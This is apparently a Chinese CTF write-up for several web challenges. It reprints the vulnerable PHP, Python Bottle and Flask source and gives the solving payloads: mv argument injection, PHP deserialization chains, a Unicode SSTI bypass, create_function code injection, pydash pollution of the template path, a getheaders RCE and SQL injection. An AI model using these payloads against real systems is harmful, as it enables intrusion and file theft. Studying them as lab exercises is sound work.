mv upload
上源码
<?php$uploadDir = '/tmp/upload/'; // 临时目录$targetDir = '/var/www/html/upload/'; // 存储目录
$blacklist = [ 'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax", "swf","ini"];
$message = '';$filesInTmp = [];
// 创建目标目录if (!is_dir($targetDir)) { mkdir($targetDir, 0755, true);}
if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true);}
// 上传临时目录if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) { $uploadedFiles = $_FILES['files']; foreach ($uploadedFiles['name'] as $index => $filename) { if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) { $message .= "文件 {$filename} 上传失败。<br>"; continue; }
$tmpName = $uploadedFiles['tmp_name'][$index];
$filename = trim(basename($filename)); if ($filename === '') { $message .= "文件名无效,跳过。<br>"; continue; }
$fileParts = pathinfo($filename); $extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
$extension = trim($extension, '.');
if (in_array($extension, $blacklist)) { $message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>"; continue; }
$destination = $uploadDir . $filename;
if (move_uploaded_file($tmpName, $destination)) { $message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>"; } else { $message .= "文件 {$filename} 移动失败。<br>"; } }}
// 获取临时目录中的所有文件if (is_dir($uploadDir)) { $handle = opendir($uploadDir); if ($handle) { while (($file = readdir($handle)) !== false) { if (is_file($uploadDir . $file)) { $filesInTmp[] = $file; } } closedir($handle); }}
// 处理确认上传完毕(移动文件)if (isset($_POST['confirm_move'])) { if (empty($filesInTmp)) { $message .= "没有可移动的文件。<br>"; } else { $output = []; $returnCode = 0;r exec("cd $uploadDir ; mv * $targetDi2>&1", $output, $returnCode);#flagtxt;ls"# if ($returnCode === 0) { foreach ($filesInTmp as $file) { $message .= "已移动文件: {$file} 至$targetDir$file<br>"; } } else { $message .= "移动文件失败: " .implode(', ', $output)."<br>"; } }}?>
<!DOCTYPE html><html lang="zh-CN"><head> <meta charset="UTF-8"> <title>多文件上传服务</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } .container { max-width: 800px; margin: auto; } .alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } .success { background: #d4edda; color: #155724; border-color: #c3e6cb; } ul { list-style-type: none; padding: 0; } li { margin: 5px 0; padding: 5px; background: #f0f0f0; } </style></head><body><div class="container"> <h2>多文件上传服务</h2>
<?php if ($message): ?> <div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>"> <?= $message ?> </div> <?php endif; ?>
<form method="POST" enctype="multipart/form-data"> <label for="files">选择文件:</label><br> <input type="file" name="files[]" id="files" multiple required> <button type="submit" name="upload">上传到临时目录</button> </form>
<hr>
<h3>待确认上传文件</h3> <?php if (empty($filesInTmp)): ?> <p>暂无待确认上传文件</p> <?php else: ?> <ul> <?php foreach ($filesInTmp as $file): ?> <li><?= htmlspecialchars($file) ?></li> <?php endforeach; ?> </ul> <form method="POST"> <button type="submit" name="confirm_move">确认上传完毕,移动到存储目录</button> </form> <?php endif; ?></div></body></html>直接说吧,这个的触发点在mv那里,就是这句
exec("cd $uploadDir ; mv * $targetDi2>&1", $output, $returnCode);因为这里我们可以控制的是*这个会被展开,这个程序大致就是把上传的文件mv到一个存储目录去,就可以利用mv的参数解析干坏事,因为并不是直接插入代码解析,所以没法直接拼接参数,可以用mv的参数来做危险操作,看这个解析
$fileParts = pathinfo($filename);$extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
$extension = trim($extension, '.');
if (in_array($extension, $blacklist)) { $message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>"; continue;}这个pathinfo解析了传过来的文件名,如果后缀名存在就小写后赋值给$extension,如果不存在就赋空值,然后把”.”给去掉之后看看是不是黑名单的,然后我们看重点,我们可以改mv内部参数,而有个参数就是备份加后缀的,直接打:
mv —backup —suffix=php shell. $target如此,解决
简单php的POP
源码
<?php error_reporting(0);
class begin { public $var1; public $var2;
function __construct($a) { $this->var1 = $a; } function __destruct() { echo $this->var1; }
public function __toString() { $newFunc = $this->var2; return $newFunc(); }}
class starlord { public $var4; public $var5; public $arg1;
public function __call($arg1, $arg2) { $function = $this->var4; return $function(); }
public function __get($arg1) { $this->var5->ll2('b2'); }}
class anna { public $var6; public $var7;
public function __toString() { $long = @$this->var6->add(); return $long; }
public function __set($arg1, $arg2) { if ($this->var7->tt2) { echo "yamada yamada"; } }}
class eenndd { public $command;
public function __get($arg1) { if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){ echo "nonono"; }else { eval($this->command); } }}
class flaag { public $var10; public $var11="1145141919810";
public function __invoke() { if (md5(md5($this->var11)) == 666) { return $this->var10->hey; } }}
if (isset($_POST['ISCTF'])) { unserialize($_POST["ISCTF"]);}else { highlight_file(__FILE__);}给payload
<?php class begin{ public $var1;public $var2;}class starlord{ public $var4; public $var5; public $arg1;}class anna{ public $var6; public $var7;}class eenndd{ public $command;}class flaag{ public $var10; public $var11 = "1145141919810";}
$v = new eenndd();$v -> command = 'include$_GET[s];';
$o = new flaag();$o ->var11 = '213';$o -> var10 = $v;
$k = new starlord();$k ->var4 =$o;
$a = new anna();$a ->var6 = $k;
$be = new begin();$be -> var1 = $a;
$c = serialize($be);echo $c;二次传参,解决
1.2两题
1
b@by n0t1ce b0ard
这题给了CVE,照着cve一步步来然后简单代码审计就出了,就是/registration.php这个路由下能上传文件,然后导致木马可被上传,然后简单拼接路径就没了,附个图过了喵喵

难过的bottle
源码有个黑名单
BLACKLIST = [“b”,“c”,“d”,“e”,“h”,“i”,“j”,“k”,“m”,“n”,“o”,“p”,“q”,“r”,“s”,“t”,“u”,“v”,“w”,“x”,“y”,“z”,”%”,”;”,”,”,”<”,”>”,”:”,”?”]
下面有模板渲染,直接打源码给你
from bottle import route, run, template, post, request, static_file, errorimport osimport zipfileimport hashlibimport timeimport shutil
# hint: flag is in /flag
UPLOAD_DIR = 'uploads'os.makedirs(UPLOAD_DIR, exist_ok=True)MAX_FILE_SIZE = 1 * 1024 * 1024 # 1MB
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
def contains_blacklist(content): """检查内容是否包含黑名单中的关键词(不区分大小写)""" content = content.lower() return any(black_word in content for black_word in BLACKLIST)
def safe_extract_zip(zip_path, extract_dir): """安全解压ZIP文件(防止路径遍历攻击)""" with zipfile.ZipFile(zip_path, 'r') as zf: for member in zf.infolist(): member_path = os.path.realpath(os.path.join(extract_dir, member.filename)) if not member_path.startswith(os.path.realpath(extract_dir)): raise ValueError("非法文件路径: 路径遍历攻击检测")
zf.extract(member, extract_dir)
@route('/')def index(): """首页""" return '''<!DOCTYPE html><html lang="zh-CN"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>ZIP文件查看器</title> <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"></head><body> <div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1> <p class="lead">安全地上传和查看ZIP文件内容</p> </div> </div> <div class="container"> <div class="row justify-content-center" id="index-page"> <div class="col-md-8 text-center"> <div class="card"> <div class="card-body p-5"> <div class="emoji-icon">📤</div> <h2 class="card-title">轻松查看ZIP文件内容</h2> <p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p> <div class="mt-4"> <a href="/upload" class="btn btn-primary btn-lg px-4 me-3"> 📁 上传ZIP文件 </a> <a href="#features" class="btn btn-outline-secondary btn-lg px-4"> ℹ️ 了解更多 </a> </div> </div> </div> </div> </div> <div class="row mt-5" id="features"> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">🛡️</div> <h4>安全检测</h4> <p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p> </div> </div> </div> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">📄</div> <h4>内容预览</h4> <p>直接在线查看ZIP文件中的文本内容,无需下载</p> </div> </div> </div> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">⚡</div> <h4>快速处理</h4> <p>高效处理小于1MB的ZIP文件,快速获取内容</p> </div> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script></body></html> '''
@route('/upload')def upload_page(): """上传页面""" return '''<!DOCTYPE html><html lang="zh-CN"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>上传ZIP文件</title> <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"></head><body> <div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1> <p class="lead">安全地上传和查看ZIP文件内容</p> </div> </div> <div class="container mt-4"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="card"> <div class="card-header bg-primary text-white"> <h4 class="mb-0">📤 上传ZIP文件</h4> </div> <div class="card-body"> <form action="/upload" method="post" enctype="multipart/form-data" class="upload-form"> <div class="mb-3"> <label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label> <input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required> <div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div> </div> <button type="submit" class="btn btn-primary w-100"> 📤 上传文件 </button> </form> </div> </div> <div class="text-center mt-4"> <a href="/" class="btn btn-outline-secondary"> ↩️ 返回首页 </a> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script></body></html> '''
@post('/upload')def upload(): """处理文件上传""" zip_file = request.files.get('file') if not zip_file or not zip_file.filename.endswith('.zip'): return '请上传有效的ZIP文件'
zip_file.file.seek(0, 2) file_size = zip_file.file.tell() zip_file.file.seek(0)
if file_size > MAX_FILE_SIZE: return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'
timestamp = str(time.time()) unique_str = zip_file.filename + timestamp dir_hash = hashlib.md5(unique_str.encode()).hexdigest() extract_dir = os.path.join(UPLOAD_DIR, dir_hash) os.makedirs(extract_dir, exist_ok=True)
zip_path = os.path.join(extract_dir, 'uploaded.zip') zip_file.save(zip_path)
try: safe_extract_zip(zip_path, extract_dir) except (zipfile.BadZipFile, ValueError) as e: shutil.rmtree(extract_dir) return f'处理ZIP文件时出错: {str(e)}'
files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']
return template('''<!DOCTYPE html><html lang="zh-CN"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>上传成功</title> <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"></head><body> <div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1> <p class="lead">安全地上传和查看ZIP文件内容</p> </div> </div>
<div class="container mt-4"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="card"> <div class="card-header bg-success text-white"> <h4 class="mb-0">✅ 上传成功!</h4> </div> <div class="card-body"> <div class="alert alert-success" role="alert"> ✅ 文件已成功上传并解压 </div>
<h5>文件列表:</h5> <ul class="list-group mb-4"> % for file in files: <li class="list-group-item d-flex justify-content-between align-items-center"> <span>📄 {{file}}</span> <a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary"> 查看 </a> </li> % end </ul>
% if files: <div class="d-grid gap-2"> <a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary"> 👀 查看第一个文件 </a> </div> % end </div> </div>
<div class="text-center mt-4"> <a href="/upload" class="btn btn-outline-primary me-2"> ➕ 上传另一个文件 </a> <a href="/" class="btn btn-outline-secondary"> 🏠 返回首页 </a> </div> </div> </div> </div>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script></body></html> ''', dir_hash=dir_hash, files=files)
@route('/view/<dir_hash>/<filename:path>')def view_file(dir_hash, filename): file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
if not os.path.exists(file_path): return "文件不存在"
if not os.path.isfile(file_path): return "请求的路径不是文件"
real_path = os.path.realpath(file_path) if not real_path.startswith(os.path.realpath(UPLOAD_DIR)): return "非法访问尝试"
try: with open(file_path, 'r', encoding='utf-8') as f: content = f.read() except: try: with open(file_path, 'r', encoding='latin-1') as f: content = f.read() except: return "无法读取文件内容(可能是二进制文件)"
if contains_blacklist(content): return "文件内容包含不允许的关键词"
try: return template(content) except Exception as e: return f"渲染错误: {str(e)}"
@route('/static/<filename:path>')def serve_static(filename): """静态文件服务""" return static_file(filename, root='static')
@error(404)def error404(error): return "讨厌啦不是说好只看看不摸的吗"
@error(500)def error500(error): return "不要透进来啊啊啊啊"
if __name__ == '__main__': os.makedirs('static', exist_ok=True)
#原神,启动! run(host='0.0.0.0', port=5000, debug=False)大致是上传了一个zip,然后def一个函数检查一下zip有没有包含黑名单的字符,如果没有就解压之后去模板渲染,因为黑名单防得比较死,黑名单防了基本所有的字符,以及模板变量赋值等,但是防止的是ASCII的世界,但是python有个特性是自动归化,所以直接打 Unicode 字符,直接RCE。
Bypass
直接上源码
<?phpclass FLAG{private $a;protected $b;public function __construct($a, $b){$this->a = $a;$this->b = $b;$this->check($a,$b);eval($a.$b);}public function __destruct(){$a = (string)$this->a;$b = (string)$this->b;if ($this->check($a,$b)){$a("", $b);}else{echo "Try again!";}}private function check($a, $b) {$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {return false;}return true;}}
if (isset($_GET['exp'])) {$p = unserialize($_GET['exp']);var_dump($p);}else{highlight_file("index.php");}这里的__construct是没法触发的,触发点是 b);,b是第二个参数,看到配置文件发现php的版本是php:7.1.30,这个版本有一个函数还没被ban,那就是 create_function,因为这个create_function(”,‘xx’)等于eval(“function λ() { payload_here }”);然后$b是}system(‘cat /flag’)然后八进制转义直接出了,因为八进制是可以在php被直接解析的。
来签个到吧(小反序列)
给了附件,看看
if ($_SERVER["REQUEST_METHOD"] === "POST") { $s = $_POST["shark"] ?? '喵喵喵?';
if (str_starts_with($s, "blueshark:")) { $ss = substr($s, strlen("blueshark:"));
$o = @unserialize($ss);
$p = $db->prepare("INSERT INTO notes (content) VALUES (?)"); $p->execute([$ss]);
echo "save sucess!"; exit(0); } else { echo "喵喵喵?"; exit(1); }}<?phprequire_once "./config.php";require_once "./classes.php";
$id = $_GET["id"] ?? '喵喵喵?';
$s = $db->prepare("SELECT content FROM notes WHERE id = ?");$s->execute([$id]);$row = $s->fetch(PDO::FETCH_ASSOC);
if (! $row) { die("喵喵喵?");}
$cfg = unserialize($row["content"]);
if ($cfg instanceof ShitMountant) { $r = $cfg->fetch(); echo "ok!" . "<br>"; echo nl2br(htmlspecialchars($r));}else { echo "喵喵喵?";}?><?phpclass FileLogger { public $logfile = "/tmp/notehub.log"; public $content = "";
public function __construct($f=null) { if ($f) { $this->logfile = $f; } }
public function write($msg) { $this->content .= $msg . "\n"; file_put_contents($this->logfile, $this->content, FILE_APPEND); }
public function __destruct() { if ($this->content) { file_put_contents($this->logfile, $this->content, FILE_APPEND); } }}
class ShitMountant { public $url; public $logger;
public function __construct($url) { $this->url = $url; $this->logger = new FileLogger(); }
public function fetch() { $c = file_get_contents($this->url); if ($this->logger) { $this->logger->write("fetched ==> " . $this->url); } return $c; }
public function __destruct() { $this->fetch(); }}?>叙述步骤,在index.php里接受shark参数,并且将它插入字段,并且删去前缀blueshark,然后插入字段名content,这样这个content在api有用,然后看api路由,这里的content本=被反序列化,然后下面有个检测,如果这个$cfg反序列化return的结果是ShitMountant类的实例,然后看class.php,我们要调用的是fetch方法去读flag,我们手搓一下payload的php代码
<?php class ShitMountant{ public $url;public $logger;}
$o=new ShitMountant();$o->url = '/flag';$o->logger='null';
echo serialize($o);我看了看一个注意的地方,如果logger值不是null而是Null那么logger值会被当成字符串然后下面if成功调用,然后在Null里找不到write方法就会报错,所以会直接终止并不会返回$c数据。
ok直接反序列化上传直接回显flag.结束
flag?我就借走了
这题开始是这个界面

看到这个能解压,还是tar,利用软链接带出文件,直接拿到flag
命令是ln -s 源文件或目录 链接名称
Who am I
开头给了这个界面

爆破没用,抓包尝试SQL
POST /login HTTP/1.1Host: challenge.bluesharkinfo.com:28459User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 41Origin: http://challenge.bluesharkinfo.com:28459Connection: keep-aliveReferer: http://challenge.bluesharkinfo.com:28459/Upgrade-Insecure-Requests: 1Priority: u=0, iusername=adminww&password=123wwwww&type=1发现这个包有个type字段,正常登录注册是没用的如果更改type字段会有个报错,来看看

暴露可疑路径/272e1739b89da32e983970ece1a086bd,访问一下

成功进入后台,接下来是代码审计
from flask import Flask,request,render_template,redirect,url_forimport jsonimport pydash
app=Flask(__name__)
database={}data_index=0name=''
@app.route('/',methods=['GET'])def index(): return render_template('login.html')
@app.route('/register',methods=['GET'])def register(): return render_template('register.html')
@app.route('/registerV2',methods=['POST'])def registerV2(): username=request.form['username'] password=request.form['password'] password2=request.form['password2'] if password!=password2: return ''' <script> alert('前后密码不一致,请确认后重新输入。'); window.location.href='/register'; </script> ''' else: global data_index data_index+=1 database[data_index]=username database[username]=password return redirect(url_for('index'))
@app.route('/user_dashboard',methods=['GET'])def user_dashboard(): return render_template('dashboard.html')
@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])def A272e1739b89da32e983970ece1a086bd(): return render_template('admin.html')
@app.route('/operate',methods=['GET'])def operate(): username=request.args.get('username') password=request.args.get('password') confirm_password=request.args.get('confirm_password') if username in globals() and "old" not in password: Username=globals()[username] try: pydash.set_(Username,password,confirm_password) return "oprate success" except: return "oprate failed" else: return "oprate failed"
@app.route('/user/name',methods=['POST'])def name(): return {'username':user}
def logout(): return redirect(url_for('index'))
@app.route('/reset',methods=['POST'])def reset(): old_password=request.form['old_password'] new_password=request.form['new_password'] if user in database and database[user] == old_password: database[user]=new_password return ''' <script> alert('密码修改成功,请重新登录。'); window.location.href='/'; </script> ''' else: return ''' <script> alert('密码修改失败,请确认旧密码是否正确。'); window.location.href='/user_dashboard'; </script> '''
@app.route('/impression',methods=['GET'])def impression(): point=request.args.get('point') if len(point) > 5: return "Invalid request" List=["{","}",".","%","<",">","_"] for i in point: if i in List: return "Invalid request" return render_template(point)
@app.route('/login',methods=['POST'])def login(): username=request.form['username'] password=request.form['password'] type=request.form['type'] if username in database and database[username] != password: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' elif username not in database: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' else: global name name=username if int(type)==1: return redirect(url_for('user_dashboard')) elif int(type)==0: return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))
if __name__=='__main__': app.run(host='0.0.0.0',port=8080,debug=False)重要的是两个路由,一个/impression,一个/operate路由,大概就是/operate路由可以改变默认渲染路径,
使用了pydash.set_(名字,路径,值),直接改为pydash.set_(app, “jinja_loader.searchpath.0”, ”/”),这app是应用对象,然后改默认渲染路径为根目录,然后直接在/impression路由传参point=flag就ok
ezrce
这题开始给了这个界面

这题只能允许a-zA-Z和()和_和;
那么我们可以构造这样的payload
方案1,chdir(dirname(dirname(dirname(getcwd()))));chdir(flag);highlight_file(flag)
不解释了,你看得懂
方案2,system(next(getheaders()))然后把第二个ua头改成cat ../../../flag,这样也可以。
flag到底在哪(简单SQL)
这题让我对SQL的理解提升很多,来吧

开始是上面这个界面,爆破无果,尝试下面的方法,直接抓个POST包看看

然后用拼接绕过,这里讲一下,如果原码的语句是select * form users where username=‘admin’ and password=‘输入的’。如果这里输入上面就会变成and passowrd = ” or ‘1’ = ‘1’—+‘这样右边的or ‘1’ = ‘1’永远为真,所以可以通过校验.
部分信息可能已经过时





